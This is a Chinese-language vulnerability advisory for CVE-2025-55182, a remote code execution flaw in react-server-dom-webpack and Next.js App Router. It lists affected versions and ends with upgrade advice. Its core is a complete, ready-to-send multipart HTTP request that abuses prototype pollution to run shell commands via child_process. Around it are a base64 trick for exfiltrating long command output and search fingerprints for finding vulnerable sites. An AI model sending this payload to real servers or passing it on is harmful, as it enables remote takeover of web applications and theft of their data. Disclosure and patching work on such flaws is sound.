漏洞概述
CVE 编号:CVE-2025-55182
漏洞类型:远程代码执行(RCE)
受影响组件:
影响版本:
react-server-dom-webpack 版本:
19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js版本:
- 15.x系列(所有版本)
- 16.x系列(所有版本)
- 14.3.0-canary.77 及后续 canary 版本
利用条件:
必须同时使用 React Server Components 和 App Router 模式,Pages Router 模式不受影响。
漏洞原理与POC
此远程代码执行(RCE)漏洞源于react-server-dom-webpack在解析服务端组件(Server Components)的序列化数据时,存在原型链污染问题,攻击者通过构造恶意的请求载荷,可导致任意命令执行。
以下是利用该漏洞的一个HTTP请求示例:
POST /或者是/apps HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
长命令回显方法:
对于需要回显较长结果的命令(如ls),可以利用Base64编码后输出:
ls / -alhSt / | base64 -w 0
受影响资产指纹
可通过以下特征识别潜在的存在漏洞的Next.js应用:
app="Next.js" && body="/_next/static/chunks/app/"
或者
body="react.production.min.js" || body="React.createElement(" || app="React.js" || app="Dify"
修复建议
及时升级到已修复的安全版本是根本解决措施。请根据您当前使用的Next.js版本,升级到对应的安全版本:
- 15.0.x → 15.0.5
- 15.1.x → 15.1.9
- 15.2.x → 15.2.6
- 15.3.x → 15.3.6
- 15.4.x → 15.4.8
- 15.5.x → 15.5.7
- 16.0.x → 16.0.7
如果您正在使用 14.3.0-canary.77 或更高的 canary 版本,建议降级到 14.x 的稳定版本,或密切关注官方后续的安全更新。
|